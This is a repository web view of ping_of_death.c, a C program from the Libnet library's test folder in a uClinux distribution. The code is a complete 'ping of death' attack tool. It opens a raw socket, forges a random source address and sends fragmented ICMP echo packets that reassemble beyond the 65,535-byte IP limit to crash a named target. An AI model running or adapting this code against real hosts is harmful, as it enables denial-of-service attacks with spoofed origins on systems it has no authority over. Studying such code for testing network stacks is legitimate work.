OSDN Git Service

2013.10.24
[uclinux-h8/uClinux-dist.git] / lib / Libnet / test / ICMP / ping_of_death.c
1 /*
2  *  $Id: ping_of_death.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
3  *
4  *  libnet
5  *  pingofdeath.c - ICMP ping of death attack
6  *
7  *  Copyright (c) 1999, 2000 Dug Song <dugsong@monkey.org>
8  *  All rights reserved.
9  *
10  * Redistribution and use in source and binary forms, with or without
11  * modification, are permitted provided that the following conditions
12  * are met:
13  * 1. Redistributions of source code must retain the above copyright
14  *    notice, this list of conditions and the following disclaimer.
15  * 2. Redistributions in binary form must reproduce the above copyright
16  *    notice, this list of conditions and the following disclaimer in the
17  *    documentation and/or other materials provided with the distribution.
18  *
19  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
20  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
22  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
23  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
25  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
26  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
27  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
28  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
29  * SUCH DAMAGE.
30  *
31  */
32
33 #if (HAVE_CONFIG_H)
34 #include "../../include/config.h"
35 #endif
36 #include "../libnet_test.h"
37
38 #define FRAG_LEN        1472
39
40 int main (int argc, char **argv)
41 {
42     unsigned long fakesrc, target;
43     unsigned char *buf;
44     unsigned char *data;
45     int sock, i, flags, offset, len;
46   
47     if (argc != 2 || !(target = libnet_name_resolve(argv[1], 1)))
48     {
49         fprintf(stderr, "Usage: %s <target>\n", argv[0]);
50         exit(1);
51     }
52
53     if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
54     {
55         perror("raw sock");
56         exit(1);
57     }
58
59     /* get random src addr. */
60     libnet_seed_prand();
61     fakesrc = libnet_get_prand(LIBNET_PRu32);
62   
63     buf = malloc(LIBNET_IP_H + LIBNET_ICMP_ECHO_H);
64     data = (unsigned char *)malloc(FRAG_LEN);
65   
66     for (i = 0 ; i < 65536 ; i += (LIBNET_ICMP_ECHO_H + FRAG_LEN))
67     {
68         offset = i;
69         flags = 0;
70
71         if (offset < 65120)
72         {
73             flags = IP_MF;
74             len = FRAG_LEN;
75         }
76         else len = 410; /* for total reconstructed len of 65538 */
77
78         /* make IP header. */
79         libnet_build_ip(LIBNET_ICMP_ECHO_H + len, 0, 666,
80                 flags | (offset >> 3), 64, IPPROTO_ICMP, fakesrc, target,
81                 NULL, 0, buf);
82
83         /* make ICMP packet. */
84         libnet_build_icmp_echo(8, 0, 666, 666, data, len, buf + LIBNET_IP_H);
85
86         /* calculate ICMP checksum. */
87         libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_ECHO_H + len);
88
89         /* send it. */
90         libnet_write_ip(sock, buf, LIBNET_IP_H + LIBNET_ICMP_ECHO_H + len);
91
92         /* tcpdump-style jonks. */
93         printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_host_lookup(fakesrc,0),
94                 argv[1], LIBNET_ICMP_ECHO_H + len, offset, flags ? "+" : "");
95     }
96     free(buf);
97     return (EXIT_SUCCESS);
98 }
99
100 /* EOF */